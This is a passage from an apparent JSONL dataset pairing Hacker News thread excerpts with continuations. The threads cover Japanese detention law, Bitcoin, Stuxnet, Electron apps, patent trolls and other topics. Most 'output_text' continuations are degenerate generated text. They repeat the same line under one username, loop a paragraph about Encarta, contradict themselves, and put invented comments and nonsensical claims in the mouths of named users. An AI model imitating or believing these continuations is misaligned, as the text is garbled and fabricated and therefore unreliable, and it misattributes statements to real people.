I'm reading the graph correctly, the average of volatility is the\nsame, but the std deviation of volatility has been decreasing. In other words,\nBitcoin is just as volatile, but it's more consistently volatile. That's... a\nweird metric to measure. Either I'm reading the graph incorrectly, or OP is.\n\n2) The OP says"} +{"output_text": " they are guilty.\n\n~~~\nmikeash\nThe actual trial is much more than a formality. It's a full-fledged legal\nproceeding, with a judge, a defense attorney, and a prosecution team. The\ndefense team can do _everything_ they can to throw the case, and Ghosn's team\nis no exception.\n\n~~~\n_cs2017_\n> The actual trial is much more than a formality.\n\nI", "input_text": "am3\nThe real mindfuck here isn't just that Japanese law allows the authorities to\nquestion you during detention (before being charged with anything), all day\nevery day, with no attorney present.\n\nNor is it that they can restrict access to the outside world, only allowing\nyou to speak to family for max 20m a day, with a translator + officer present\nat all times.\n\nNo, the real kicker is that the clock for the 20-30 day detention period\nstarts fresh every time, for each charge they want to investigate. This means\nthat they can essentially keep people in detention for as long as they want by\nhaving a list of charges and \"investigating\" them one at a time.\n\nIf you're used to things like due process, \"give me my phone call\", etc, the\nJapanese justice system is quite difficult to wrap your head around.\n\nI have no idea if Ghosn is guilty of what he is accused of. But there are\nmassive pressures to extract confessions from people in his position. And\nforced confessions reduce the legitimacy of the entire justice system.\n\n------\n_cs2017_\nEdit: I just realized that the nearly 100% conviction rate is only for those\nwho go to trial. A third of the people who are detained are released without\ntrial. So ignore this post: my main assumption (that arrest is similar to\nconviction) was incorrect.\n\n\\---\n\nMaybe one way to think of the Japanese justice system is that the trial\nhappens before the defendant is arrested. After all, the conviction rate is\nnearly 100%, so in some sense the actual trial is just a formality. From that\nperspective, it's not surprising that defendants may be detained without bail\nfor weeks: the system treats them as if"} +{"output_text": ".\n\n~~~\nTerretta\n\"Many of the images I found were not CC licensed, nor did they have a Getty\nImages option. Those are the images I'm referring to. \"\n\nThat's because they're not being used for commercial purposes.\n\n\"Those are the images I'm referring to. \"\n\nThose are the images I'm referring to.\n\n~~~\njs2\nYou're right. I should have been more clear.\n\nI", "input_text": "\"Pix Store\" if you will. Maybe that's what the stock photo sites are supposed\nto be, but they don't have nearly the inventory.\n\nSorry for the tangent.\n\n~~~\nTerretta\n\"This may make sense for images which are to be used in a commercial context,\nbut for personal use like how I wanted to use the images, it's way too\nexpensive and much too much friction.\"\n\nThat's why Flickr lets you search for Creative Commons images, for which the\nphotographer gives you that personal use permission in advance.\n\n~~~\njs2\nThere are shades of a grey between commercial use and free use which are\nunaddressed.\n\n~~~\nTerretta\nYou think so? I license photos through Creative Commons, and differently\ndepending on the shades of personal to commercial I consider inherent in the\npotential market for a photo.\n\nI find it covers all the shades of commerciality I've considered. Meanwhile,\nfor a purely commercial photographer, the getty images option is there, and\nthose won't come up in the Creative Commons search unless licensed\nappropriately.\n\nThe CC search tool on Flickr is a fantastic tool for finding photos of the\nexact \"shade\" of use you're looking for.\n\n~~~\njs2\nCC photos are all free for non-commercial use, correct? What if you'd like to\nbe compensated, but not at rates that justify the overhead of Getty Images?\nMany of the images I found were not CC licensed, nor did they have a Getty\nImages option. Those are the images I'm referring to.\n\ne.g., go search Flickr for \"drawdy falls\". No results in Getty, no results in\nthe Commons, but a handful of images from photographers that are retaining\nfull copyright"} +{"output_text": "&sr=8-1&keywords=javascript+the+definite+guide)\n\n~~~\npapaver\nFlanagan is a great author, but I think his book is a bit dated. I found his\n\"Javascript: The Good Parts\" chapter on closures to be a bit confusing.\n\n~~~\npapaver\nI was being snarky, but I do think that Flanagan's book is dated. I read it\nabout a year", "input_text": " components -\ndrop-down menus, trees, tabs, etc. But do them without jQuery. It might sound\nlike reinventing the wheel, but learning fundamentals sometimes requires\nretreading worn out paths.\n\n~~~\n4as198sGxV\nSure. Then he will want to kill himself when trying to use of all those\ninferior and mismatched technologies for any kind of complex application\n(achieving crossbrowser support will ensure many nights of fun!). He will then\ngo back to coding server-side where at least you can use sane language and\ntools so you can be as productive as possible. However, he will be thinking\nabout this glimpse of hell for the rest of his career.\n\n------\ndoc4t\n_If you're an experienced programmer looking to learn Javascript, you probably\ncan't do any better than reading Javascript: The Good Parts. It's extremely\nshort, concise, and enjoyable to read. Highly recommended._\n\nAny experienced programmer should definitely start elsewhere so he can make up\nhis own mind about Crockfords ideas about how programming should be. While the\nbook is ok-ish almost half of the material is about Crockfords personal\npreferences for coding style and can be applied to any language.\n\nJavaScript - The Definite Guide by David Flanagan is in my opinion the best\nbook on the subject. No other JS book comes even close in clarity and\nthoroughness.\n\n[http://www.amazon.com/JavaScript-Definitive-Guide-\nActivate-G...](http://www.amazon.com/JavaScript-Definitive-Guide-Activate-\nGuides/dp/0596805527/ref=sr_1_1?ie=UTF8&qid=1333877087"} +{"output_text": ". If you don't believe\nme, just look around.\n\n------\njoosters\nThe article doesn't seem to mention the difference between a transaction being\n'confirmed' and it being accepted by the network. A transaction can be\nconfirmed, but not yet accepted by the network. This is because miners are\nchoosing which transactions to accept, and they only accept transactions that\nthey believe are valid. So a miner could choose to ignore a transaction that\nhas been", "input_text": " it is the exchanges who's coins are \"stolen\", but still not really.\n\n51% hashing doesn't allow you to `undo exchanges going back as long as you\nwant`. There is a small time frame with exchanges/merches that accept <6 block\nconfirmations that a transaction could be reversed. And if a fork in the chain\nis happens (it does more often than not that 2 blocks get made and 1 is\norphaned,) all other miners switch to the longer chain as soon as a fork is\ndetected.\n\n~~~\namluto\nYou seem to be assuming that, once 6 confirmations have happened, a\ntransaction is set in stone. This isn't true at all. It's true that, once 6\nconfirmations have happened, a transaction is highly unlikely to disappear in\nthe absence of the 51% attack, but the whole point here is that we're assuming\nthat a 51% attack is occurring.\n\n------\ntlrobinson\nThe Bitcoin community seems to be doing a pretty good job of destroying itself\nright now, and I say that as a long time (cautiously optimistic) believer in\nBitcoin.\n\nThe division, infighting, toxic and dogmatic rhetoric, etc make me wonder if\nthere\u2019s an external force attempting to disrupt Bitcoin.\n\nOr perhaps it\u2019s just the inevitable outcome of a leaderless/decentralized\nproject with billions of dollars on the line.\n\n~~~\nmatt_wulfeck\n> _The division, infighting, toxic and dogmatic rhetoric, etc make me wonder\n> if there\u2019s an external force attempting to disrupt Bitcoin._\n\nI would say the force has a name, and it\u2019s \u201cPride\u201d.\n\n~~~\ndeevolution\nActually, I think the force is called natural selection"} +{"output_text": " new computer so we just used a random\npassword and it worked.\n\n------\njelliclesfarm\nI hope these kids get some recognition for this.\n\n------\njelliclesfarm\nI hope these kids get some recognition for this.\n\n------\njelliclesfarm\nI hope these kids get some recognition for this.\n\n------\njelliclesfarm\nI hope these kids get some recognition for this.\n\n------\njell", "input_text": " assigned to\nhigh-yield work. Many software engineers at large companies could be rendering\nover $1 million per year in value, but are being held on evaluative Fourth\nQuadrant Work ( [http://michaelochurch.wordpress.com/2013/01/01/fourth-\nquadra...](http://michaelochurch.wordpress.com/2013/01/01/fourth-quadrant-\nwork/) ) while management decides whether or not to trust them with a real\nproject. So there's already a call-option dynamic in place; it's just that\nright now, it works entirely out of employee favor. I want to fix that.\n\n~~~\nyuhong\nI was thinking of something similar for blogging for a while now.\n\n \n\nStudents Find Ways To Hack School-Issued iPads Within A Week - danso\nhttp://www.npr.org/blogs/alltechconsidered/2013/09/27/226654921/students-find-ways-to-hack-school-issued-ipads-within-a-week\n\n======\nbetterunix\nReminds me of the various ways we found to defeat school firewalls when I was\nin high school. At the time we simply took it for granted that those in power\n(i.e. the school itself) were going to try to censor us, and it was our\n\"little secret\" that we could defeat that censorship.\n\nAs an adult I look back at those days and make comparisons with the situation\nin China...\n\n~~~\nCub3\nI was going to say this too, I remember initially using web based proxies like\nproxify and hidemyass until they were all blocked then we figured out the\nblocking system didn't work on a"} +{"output_text": "some connection with it.\n\n------\nsageikosa\nI'm not a programmer, but I did read the article and I think the author\nunderstands the domain well.\n\nI think the author is making a lot of assumptions, but I think the most\nimportant one is that the registry key is a unique identifier for a specific\nversion of Windows. I don't know if that's true, but it's the only one I can\nthink of that makes sense.", "input_text": " (and the fact I have not examined StuxNet),\nI'd assume that there is a good chance it has enough logic to determine which\nfactory it is in by pure brute force.\n\nIf the main fan control gives a fairly standard reading, it shouldn't be too\ndifficult figuring out what the particular factory it has infiltrated has\nwired that point to, for example.\n\nAlso, I haven't heard any definitives on what kind of factory this is\ntargeting. I do know that there aren't many companies that develop and design\nhigh tech industrial facilities. Despite StuxNet having infected thousands\n(millions) of personal PCs, it really is only looking for maybe a few dozen or\nso in the world that are of the right type. Combine that with a low number of\nfactory designs, and it could very well have a pre-determined database of how\nits intended targets are wired.\n\n------\nTycho\nIt said the registry key Stuxnet plants to indicate whether a system is\nalready infected has the value 19790509. Then it said an Iranian Jewish\nbusiness man was executed on that date for spying. Also the home directory\nwhere the virus was originally compiled was called Myrtus. Which may contain\nanother clue...\n\n~~~\neli\nI'm not really buying this. You're making a lot of assumptions. That Iran is\nthe target, that the number is a date, that the date refers to that particular\nevent, etc.\n\nThe link between the word \"Myrtus\" and the Old Testament seems _really_\nstrained. It's the name of a plant. It features prominently in Greek mythology\n-- maybe the Greeks did it?\n\n~~~\nacqq\nI also vote for a plant, as the second mentioned name is Guava and there is\n"} +{"output_text": " point of overflowing their\ncart. I've seen people buy up to the point of touching other people in line.\nIt's a very human thing.\n\n------\njelliclesfarm\nI wonder if this is a precursor to a global shortage of toilet paper.\n\n~~~\nbeatgammit\nI doubt it. The US is the #1 toilet paper consumer in the world, so even if\nthey were to run out, we'd still have it.\n", "input_text": " the public\ntransports to get to the mall) is key to reducing infection.\n\nYes, hand sanitizer/face mask markets are ridiculous right now, but that's to\nbe expected. It's not people being selfish, there's clearly genuine needs for\nit. When there's a fuckton of needs and not enough being produced\u2026 how is it\npeople being selfish that you can't find hand sanitizer at a decent price? All\nthose have been bought.\n\n~~~\ngoblin89\nIf everyone buys only what they need (e.g., if it\u2019s a small personal sanitizer\nbottle, keep 1 in use and 1 in inventory), demand could be spread out and\ncrowds avoided.\n\nThe problem appears to combine habitual shopping for long term (not many have\na 24/7 convenience store within 3 minutes of walking), panicked distrust in\ninfrastructure reliability, and good old tragedy of the commons.\n\nSome countries fare better on first two, but still have the last one (e.g.,\nHong Kong).\n\n~~~\ncortesoft\nThe thing is, normally most people done have ANY hand sanitizer, let alone\ntwo, as you describe.... so when suddenly everyone wants to buy them, there\nisn't enough for everyone to have even two. That doesn't make the people\nbuying them selfish.\n\n~~~\nsjtindell\nBut that\u2019s not what they do, try to buy two or whatever reasonable number. A\nfew people literally fill a shopping cart with toilet paper, water bottles,\nand hand sanitizer, and it\u2019s gone. The problem is one of capacity to match\ndemand within such short time frames.\n\n~~~\nbeatgammit\nI went to Costco and saw people buying up to the"} +{"output_text": " to lack of rain.\n\n~~~\nmikeash\nI\u2019d say it\u2019s about a 50-50 proposition. There are some years where you won\u2019t\nsee a single pothole, and other years where you\u2019ll see a dozen or more a day.\n\n------\njessaustin\nI wonder if Domino's will be able to get away with this sort of thing for long.\nI wonder if the public will get wise to the game", "input_text": " it in the hole. In this way you can fix the holes on your local\nstreet/commute route without waiting for the city.\n\n~~~\nerr4nt\nWow TIL. I even looked it up and $13 buys you enough cold-patch to fill in a\nfew holes it looks like. Thanks for sharing, if I'm ever bothered by a pothole\nI'll just fill it myself now that I know!\n\n~~~\nacct1771\nThis attitude is how we shift to more self-sustainability and voluntary\ngovernance. Thank you.\n\n------\nbasementcat\nWhile Domino's shareholders are free to run their company the way they wish, I\nwould prefer that they invest their capital toward developing yummy pizza that\nis less unhealthy instead of filling potholes and lobbying against proposed\nrules to post calorie counts, etc.\n\n[https://www.bloomberg.com/news/features/2015-03-03/junk-\nfood...](https://www.bloomberg.com/news/features/2015-03-03/junk-food-s-last-\nstand-the-pizza-lobby-is-not-backing-down)\n\n~~~\njessaustin\nI would have suggested \"filling potholes\" as a better use for their pizza than\n\"eating\"...\n\n------\nrmason\nThey'd have much better success finding a way to improve the ride of their\ndelivery vehicles.\n\nThey could spend their entire 'paving' budget here in Michigan where they're\nheadquartered and it would be barely noticeable.\n\n~~~\nwil421\nIsn\u2019t the pothole problem in Michigan due to climate? In Atlanta, the city\nproper has terrible potholes due"} +{"output_text": " legal and political pressure to\nunintentionally destroy patents.\n\n~~~\nchx\nThe patent system is a mess. It's a mess of patents, copyrights, trade secrets,\nand trade dress. It's a mess of the US patent system and the EPO patent\nsystem. It's a mess of the EU system. It's a mess of the Japan system. It's a\nmess of the China system. It's a mess of the Korea system. It", "input_text": "------\nredm\nHaving gone through this a number of times, and its never about the validity\nof the patent. These patents are often acquired from defunct companies anyway.\nIf they don\u2019t acquire, they have revshare deals for enforcing.\n\nPatent trolls typically have almost no overhead, just a small office in a\ncheap venue (Marshall Texas) and time.\n\nIts simple math, 1) it\u2019s cheaper to settle out then litigate (by far) so\nboards usually want to settle, and 2) its too expensive to litigate, ie you\ndon't have 1-2 million to fully fight a patent troll.\n\nGood for you for fighting. Ultimately thats what we've done and its the only\nway to stop the Trolls. (Shout out to Lee Cheng formerly from NewEgg)\n\nThere are some patent defense consortiums that you can join that will share\nthe burden if you are sued by a troll making you a much less appealing target.\n\nGood Luck!\n\n~~~\nstreetcat1\nQuestion,\n\nSo do you happen to know if the troll needs to prove that the company violated\na claim, or does the company need to prove that it DID NOT violate the claim?\n\n~~~\nchx\nThis will be fought on an entirely different level: the patent is bogus in the\nfirst place. There's nothing patentable about it.\n\nThat's how you hunt trolls. Merely proving you didn't violate their patent is\nnot helping the next guy (and actually, you might have violated the patent,\nwho knows with these frivolous things). Killing their patent does.\n\n~~~\nanonsivalley652\nThere ought to be a super PAC / legal collective in US whose primary goal is\nto basically hack the system by using"} +{"output_text": " web and you're fine.\n\n------\njasonlotito\nI'm not sure why this is news.\n\n[https://news.ycombinator.com/item?id=7690597](https://news.ycombinator.com/item?id=7690597)\n\n------\njasonlotito\nSo, why is this news?\n\n[https://news.ycombinator.com/item?id=769", "input_text": "ron apps are a regression from Java apps. And HotSpot is a little wonder\nof performance, unlike V8\n\n~~~\nmnm1\nSadly, these apps do contain their own JREs. The memory footprint is hundreds\nof megs and they take half a minute to start. Just like Electron apps. I don't\ndeny the tech under the hood (JVM) is wonderful, but the comparison to\nElectron apps is apt.\n\n------\nb123400\nI've worked with companies making apps with electron/nw.js, what strike me\nmost was not the performance or the product itself, but the reason they\ndecided to use electron. The argument is always about development efficiency,\nwhile ignoring the user experience sacrificed. I find it lack of\ncraftsmanship, just kind of sad.\n\nThough, it is true that nontechnical users are unlikely to realise the\ndifference, they probably don't know an app with not many functionality costs\nhundred megabytes. Maybe I am just getting old and grumpy, maybe that's how\nassembly programmers see C programmers.\n\n------\nAvshalom\nWait, where is this explosion of new desktop applications?\n\nAlso isn't it only a lower barrier if you already know html/css/js\n\n~~~\njacquesc\nI'm currently using these Electron Apps every day: Slack, Nylas, VSCode,\nInsomonia, Freeter, Mongobooster\n\nOn a 2015 macbook pro with 16GB of RAM.\n\nThe buggiest and most resource intensive apps I use tend to be the native ones\n(iTunes, Dropbox, BusyCal, Evernote).\n\n~~~\nx0x0\nSlack on the desktop is a hunk of garbage. Sign in to"} +{"output_text": " better to state your position and then argue against\nit, rather than attack the person.\n\n~~~\nsliverstorm\nI think the point is that the author is not a fan of the MacBook Air, and\ntherefore is not going to make the same arguments that the MacBook Air\nadvocates make.\n\n------\nsliverstorm\n_The netbook was a terrible idea. It was a cheap way for manufacturers to\nbuild a product that was not well suited", "input_text": ". I did that because you didn't\nbother to read the article, but you bothered to comment.\n\nIt's just isn't that simple. His argument for the MacBook Air is that it's in\nthe same form factor, while having incredible battery life and being more\npowerful computationally. Plus, throw in OS X and you have a deal. In a way\nAir is netbook inspired in terms of the form factor, and the it killed the\nnetbook by making the point that you could still pack in impressive features\ninto a form factor that small by conventional standards, while having a decent\nprofit margin.\n\nIn the article, the author makes the point that what really killed the netbook\nwas portable computing (in the form of smart phones and tablets) that packed\nthe same punch and was more intuitive, while maintaining a good enough profit\nmargin for hardware manufacturers to stampede in order to get into the\nsegment.\n\nThat said, I have a netbook, an Acer Aspire One, and it runs Ubuntu 10.10 with\na grin and is quite awesome once you get used to the tiny keyboard...\n\nBesides, I really do think that no one is taking real advantage of modern\ncomputing and you can still write Ruby code on Pentium 2 era PC once you flash\nit and boil it down to the basics. I think that if someone is dedicated then\neven a dumb terminal is enough to write code, why do you need that new found\ncomputational power? This really is an honest question.\n\n~~~\nGoladus\nI downvoted your post because the second sentence attacks the poster rather\nthan the post. It is impossible to you to know for sure whether someone read\nan article or not before posting. Such a guess never adds anything to a\ndiscussion. It is always"} +{"output_text": "? Wikipedia. Encarta was a physical encyclopedia and\nWikipedia is a digital encyclopedia. Encarta was a physical encyclopedia\nuntil Wikipedia came along. Encarta was a physical encyclopedia that was\nbecoming digital. Encarta was a physical encyclopedia that was transitioning\nto digital. Encarta was a physical encyclopedia that transitioned to digital.\nEncarta was a physical encyclopedia that transitioned to digital and became\ndigital. En", "input_text": " new version of Ramamia (to be renamed Genevine).\n\nThere are probably others.\n\n~~~\nspokey\n> Encyclopedias did really well until Wikipedia came along. Encarta was the\n> first sign of trouble, but Wikipedia was the nail in the coffin.\n\nThis is incidental to your comment, but I think your details are wrong in this\nexample.\n\nMultimedia digital encyclopedias replaced physical encyclopedias long before\nWikipedia came along, in fact throughout the 80s and early 90s it is a pretty\nsafe bet that encylopedias on CD-ROM and later DVD significantly outsold the\ndead-tree versions, and by the mid-90s the major brands (at least in the US)\nalready had online versions as well.\n\nEncarta (which was initially a rebranded Funk & Wagnalls encyclopedia) was\njust one example, and a later one at that, of many encyclopedias that were\ntransitioning from print to digital. Encarta doesn't represent some kind of\nparadigm shift in the encyclopedia business, just a large company snatching up\na small player in a market they were trying to penetrate. Interestingly\nenough, Encarta has ceased production, while World Book, Encyclopedia\nBritannica and others are still in business and presumably profitable (for\nnow).\n\nWikipedia was and continues to be a threat to \"traditional\" encyclpedias, but\nnot because they didn't anticipate a transition from physical to digital\npublication.\n\n~~~\njasonlbaptiste\nyup, i didn't want to get into a long extended explanation. My logic is this:\nphysical encyclopedias are toast. What do we use instead of them more often\nand most recently"} +{"output_text": "\\. Yes.\n\n2\\. I don't know. I'm not a scientist.\n\n~~~\nnaveensundar\nI am not a scientist either. I am a software engineer with a background in\nbiology. I have done a bit of research on my own into this topic. I am not\nclaiming that I am a scientist. I am just trying to understand if this is a\nviable product or not.\n\nI have read the second paper. It is", "input_text": " look around the page for a link to a product description, get\nfrustrated, hand edit the url to just 'wakemate.com'.\n\nThere is no sidebar for me reading in firefox. Maybe it is some fancy script\nthat got binned by my various anti-junk plugins.\n\n------\nnaveensundar\nCongrats on shipping on a hardware product! The product seems great. A couple\nof questions... The site says the product is scientific. But the first paper I\nfound after a bit of digging points to the use of Actigraphy which seems to be\njust a method of collecting data (even though you say it is a \"clinically\nproven science\"). The second pdf containing the excerpts does not answer the\nfollowing questions.\n\nThe questions\n\n1\\. Is waking up at the optimal time (light sleep before alarm) shown to\nreduce _daytime_ grogginess rather than just wake-time grogginess?\n\n2\\. Is the continued waking up at the optimal time free of any adverse effects\nin the _long run_? I did some googling to find answers to the above, but\ncouldn't find anything layman readable or substantial. If I have to pay $60\nfor a product, it is really a pain to do the research myself.\n\nSome excerpts\n\n\"subjects were presented a word list 1 min after arousal from different sleep\nstage...\"\n\n\"The most important finding from this study is that sleep inertia reduces\ndecision\u2010making performance for at least 30 min.\"\n\nIf it makes me feel good just after waking up for an hour or so, then is it\nreally that useful?\n\n(Edit: Read the second pdf)\n\n~~~\nspydertennis\nYour initial questions:\n\n1"} +{"output_text": "you\u2019re speaking in public, you want to be sure you\u2019re not leaving anything\nvital out, and that you\u2019re not coming across as boring, uninteresting, or\notherwise lacking in credibility.\n\n9\\. Practice makes perfect.\n\nPractice makes perfect, but it takes a lot of practice. If you\u2019re not\npracticing, you\u2019re not ready.\n\n10\\. Don\u2019t be afraid of feedback.\n\nFeedback is", "input_text": "\n5\\. Interact with the audience.\n\nReality check: who are you speaking to? Your audience. They are here to learn\nfrom you, so it\u2019s best to know your audience and involve them in your speech.\nFor example, this can be accomplished by doing simple tasks such as asking\nquestions \u2014 \u201craise your hand if\u2026\u201d Follow tip #5, and you\u2019ll keep the audience\nrefreshed and engaged.\n\n6\\. Pull yourself out of a tailspin.\n\nDuring the speaker training, I choked up during my improv and forgot the name\nof an organization I was supposed to describe. After five seconds of misery,\nthe name came back to me and I made my recovery by graciously and humorously\naccepting the fact I made my mistake. Surprisingly, the audience felt that\nthis contributed to the power of the speech. Apparently some speakers even\nplan out things to fail during their speech so they could similarly pull\nthemselves out of a tailspin. This tactic is supposed to connect the audience\nto the speaker and create this bond because the speaker becomes more human,\ndown-to-earth, and on the same plane as the audience.\n\n7\\. Don\u2019t hold back your energy.\n\nFor unknown reasons, many equate speaking with less energy to increased\ntechnical expertise. That actually doesn\u2019t make you look more sophisticated,\nthat just makes you look like a poor speaker. Release that energy and don\u2019t\nhold back! Capture your audience\u2019s attention with all the power you have to\nmake your speech more effective.\n\n8\\. Critique yourself and have others critique you.\n\nThis may seem self-explanatory, but when you are practicing your speech, take\nturns with others to point out positives and negatives in your speech. When\n"} +{"output_text": " find.\n\nSo I read only when I can't do anything else. I don't have the time to read\nbooks. I have the time to read articles on the internet, but I don't have the\ntime to read books.\n\n------\njimbokun\nI have always read a lot, but I have a hard time calling myself a \"reader\". I\ncan sit down and read a book, but I don't consider myself a \"book reader\".\n", "input_text": ".\"\n\nEveryone who I knew liked to read while growing up still likes to read. Some\npeople don't, and thats fine too. What annoys me is people who don't like to\nread, but feel like they should, and therefore go looking for a scapegoat. And\nsomething tells me that some people have struggled to read and felt inadequate\nabout that throughout history.\n\n------\ngregrata\nI've found the opposite, if you'll allow that eBooks are real books. To me,\nit's a golden age of books - with self publishing and eBooks, there are more\nbooks coming out ever day than ever before. I personally read AT LEAST two\nbooks a week (usually not technical - I enjoy sci-fi). I've always been a avid\nreader, but generally had to re-read a lot (I have about 5k physical books, to\nsupport that habit). Theses days, I'm ALWAYS reading new books. The selection\nis amazing, a lot of the books are very good!\n\n------\nyason\nOne reason I've observed is that the quality of printed text isn't necessarily\nthat good. I can't not let go of a good book, I'm only bounded by the time of\nday and night: if I weren't, I'd read it on one sitting. Or an interesting\ntextbook that I can't wait to get back to even if it's slow to read because\nit's just so interesting.\n\nBut there are lots of books that just aren't that good in comparison to really\ninteresting articles on the internet. There are a even a lot more articles, so\nthe reader must develop the skill of skimming quickly and deciding early\nwhether there's any meat in it. But good articles are really good and they're\neasy to"} +{"output_text": "\nnroach\nI've found that the best way to learn something is to do it. If you're not\ndoing it, you're not learning.\n\nI've found that the best way to learn a language is to speak it. If you're not\nspeaking it, you're not learning.\n\nThe best way to learn a programming language is to write some code. If you're\nnot writing code, you're not learning.\n\nThe best way to learn", "input_text": " help your logic skills. I tend to find\nas I do this I will be either thinking of what is going on and trying to think\nahead, or I would try to imagine what I would do instead. Do this practice has\nallowed me to vividly remember a book I read years ago.\n\n _Nonfiction:_ For nonfiction I use two techniques that go hand in hand. The\nfirst is the same as for fiction, the only difference is that I will stop a\nbit more often. The second skill is to try to explain what I just read to\nmyself, as if explaining to someone else. This is a way for me to test if I\nreally took in the information I just read, if I find that I can't I will go\nback and read until I can.\n\n _Summary:_ I believe that if you make an effort to do this, one; you will\nfind the books WAY more interesting, and two; you will find you brain actually\nmulling over what you are reading and focusing on it instead of just quickly\nreading and moving on.\n\n------\ncsnewb\nTo improve information retention you should exercise your \"information\nretrieval\". Basically, take a sheet of paper, write down the name of a topic\nyou're learning or a book you're reading, and then write down as much\ninformation as you can remember about it. Compare your notes against your\nprevious attempts to identify what you need to focus on studying/remembering\nmore. Repeat this exercise until you can comfortably recall all the main\nideas.\n\nTwo books I highly recommend that can help you with improving reading and\nlearning skills: 1) \"Make It Stick\" by Peter C. Brown 2) \"How To Read A Book\"\nby Mortimer J. Adler.\n\nGood luck!\n\n------"} +{"output_text": "s?\n\n[https://github.com/shakna/js-speccy](https://github.com/shakna/js-speccy)\n\n------\njancsika\n> Minimal Chess is a minimalistic chess game for the ZX Spectrum.\n\nI'm not sure I understand the appeal of a chess game that's missing most of\nthe pieces.\n\n~~~\njancsika\nTo clarify, I'm", "input_text": "'minimal chess' programs trace their lineage (and mostly their rules)\nback to ZX Chess [0] for the ZX81, which was a significant accomplishment, and\nremains notable in the history of personal computing, cropping up from time to\ntime in lists of the greatest program ever written. It says this at the top of\nthe page.\n\nIt is not a naive prototype. I'd be very surprised if the programmer couldn't\nplay chess. It's a part of computing history. And the competition to reduce\nthe number of bytes is > 35 years old.\n\n[0]\n[https://en.wikipedia.org/wiki/1K_ZX_Chess](https://en.wikipedia.org/wiki/1K_ZX_Chess)\n\n------\nguru_meditation\nMoved white queen in front of black (computer) king under the cover of the\nwhite knight. Computer went ahead and captured my queen using its king.\n\nWas tempted to capture the king with my knight, closed browser window instead\n:)\n\n------\ncomnetxr\nI played a short game; I captured black's queen on black's back row with my\nqueen, in which the black king could have taken my queen or moved out of\ncheck. Instead, black moved a different piece (invalid given that it is in\ncheck). So I captured black's king...\n\n------\nimglorp\nSide question about this site: Does anyone know why the FF back button (Alt\nleft arrow) and Page-up/down is disabled and why this would be desirable?\n\n~~~\nshakna\nSeems to be a consequence of JSSpeccy, the Spectrum emulator embedded into the\nsite. Perhaps to let the emulator grab those sorts of shortcut"} +{"output_text": "github.com/francoislaberge/shrinkray)\n\n~~~\njwilber\nI've been trying to do something similar with a small framework that's\nlightweight and flexible. I'm curious if you have any thoughts on why your\napproach was better than mine?\n\nI've been trying to make my app only 60K and it's tough. I have to keep all\nmy logic in JS and I have to keep my CSS small. I have", "input_text": ". But would anyone put up with it?)\n\n~~~\ncandiodari\nHow about the paradigm that was in use for, oh, 3-4 decades, before the web?\n\nThe general idea:\n\n \n \n void OnPaint(PaintCommands p, Rect limitToRect)\n \n\nYou can finally sort-of do this, with RequestAnimationFrame and Canvas\nmaximized, and it is indeed way faster than HTML, at least, on my desktop. It\nresizes if that's what you do inside of it. For games this is pretty much\nmandatory.\n\nIt still sucks in many ways though. More could be achieved with just directly\nexposing OnPaint, 2d and 3d versions. Plus various basic things, like copy-\npaste, don't work.\n\nIt doesn't satisfy half your demands, I realize that (though windows\naccessibility can be quite good too, and the web's accessibility sucks badly).\nBut I would argue that having actual complex apps was worth more (compare MS\nOffice to Office 360 or Google Docs, or worse, compare things like Corel Draw\nor Lucidchart to the Lucidchart web app, or any other HTML5 drawing/charting\napp).\n\nAnd let's just not talk about Desktop Games versus either web games or even\nphone games. It's depressing.\n\n~~~\nmajewsky\nHave fun fulfilling any sort of accessibility requirements with this.\n\n------\nendergen\nI'v been experimenting with trying to make a smaller Electron like Javascript\napplication wrapper. It's called Shrinkray, and only adds 60K of overhead to\nthe size of the app. See:\n[https://github.com/francoislaberge/shrinkray](https://"} +{"output_text": "\n\n~~~\ncmrdporcupine\nI'm not sure if it's a big deal, or if it's just a quirk of the launch.\n\nI've had a few NES games that wouldn't run well when docked, but they were\nmostly games from the 80s and 90s.\n\n~~~\nPanoramix\nI have a NES Classic Edition and it runs perfectly fine when docked.\n\n~~~\ncmrdporcupine", "input_text": " I never went to the nintendo portables, so I was shockingly oblivious\nabout these. I define v2 as both \"set of games you can play on it is identical\nto the first one\", and \"not a retro notalgia remake\". But even by that\nstandard, wikipedia tells me you gave a lot of good examples. I can only hope\nthe switch makes the list, because I'm not interested in spending significant\ngame time with a handheld tablet, but I also need enough distance to flirt\nwith their limitations.\n\n------\nnstart\nJust got mine. Charged and used. This thing is such a joy to use. I'll\nprobably play with it more in mobile mode. It feels good to hold it. And yes\nit's underpowered on the spec sheet but at the same time, it works really\nwell. And I'm having a lot of fun with it so for me that's the main thing\nreally :D.\n\n~~~\nPanoramix\nI don't understand the negativity based on technical performance. The thing is\nsupposed to be fun to play, not bring you closer to the limits of what modern\ntechnology can achieve. Nintendo has some extremely fun games that I'd rather\nplay very much before an extremely high performance super high HD game that\nultimately falls flat.\n\n~~~\ncmrdporcupine\nMuch of the negativity is related to the fact that the launch game itself does\nnot play well when docked.\n\nAnd this seems unjustifiable given how well the same chipset does in the\nNVIDIA Shield, which is capable of driving 4k games just fine.\n\n~~~\nPanoramix\nI was not aware of that. Which is strange since I read more than 10 reviews,\nsurely they would have noticed?"} +{"output_text": ".\n\nI'm not a lawyer, but I've done a lot of litigation. I've never seen a lawyer\nsign a complaint that was not prepared by a lawyer. I've seen a lawyer sign a\ncomplaint prepared by a layperson, but only because the layperson is a lawyer\nwho is working with the client.\n\nSo I'm not sure what the point of this would be.\n\n~~~\njarrett\nI'm not a lawyer, either, and I", "input_text": " parts where he\nlists all the defendants. After page 37 it's just copies of the laws,\nregulations and screenshots.\n\nAssuming he hired a lawyer to file his other case claiming arbitrary\nenforcement of the CA law against his company (discussed in paragraph 4 of the\ncomplaint linked to above), that one seems much more likely to go somewhere\nalthough relief at this point is pretty unclear.\n\nAlso the first time I've noticed someone use \"pivot\" in the Lean Startup sense\nin a legal complaint (fn. 3).\n\n------\ngojomo\nOn page 35, in order to represent his own company as a non-lawyer, Greenspan\nappeals for an exception to the rule that his corporation, as the plaintiff,\nmust retain legal counsel. He bases this request on (among other reasoning)\nthe _Citizens United_ decision.\n\nLike Greenspan, IANAL, but I suspect his complaint will die quickly on that\nbasis alone.\n\n~~~\napaprocki\nThe court replied on 5/8 that he has until 5/22 to retain qualified counsel or\nit will be dismissed without prejudice.\n\n------\njarrett\nDid anyone read the part where he explains that he is not being represented by\na lawyer? (\"REQUEST FOR CIVIL LOCAL RULE 3-9(b) EXEMPTION AND RETIREMENT.\")\nThat seems a very unusual decision indeed. Does anyone have any idea why he\nwould do it that way? Is it probably a money issue?\n\n~~~\nwpietri\nFunny! After reading the first few pages, I said, \"What lawyer is willing to\nput his name on this garbage?\" and paged around in the 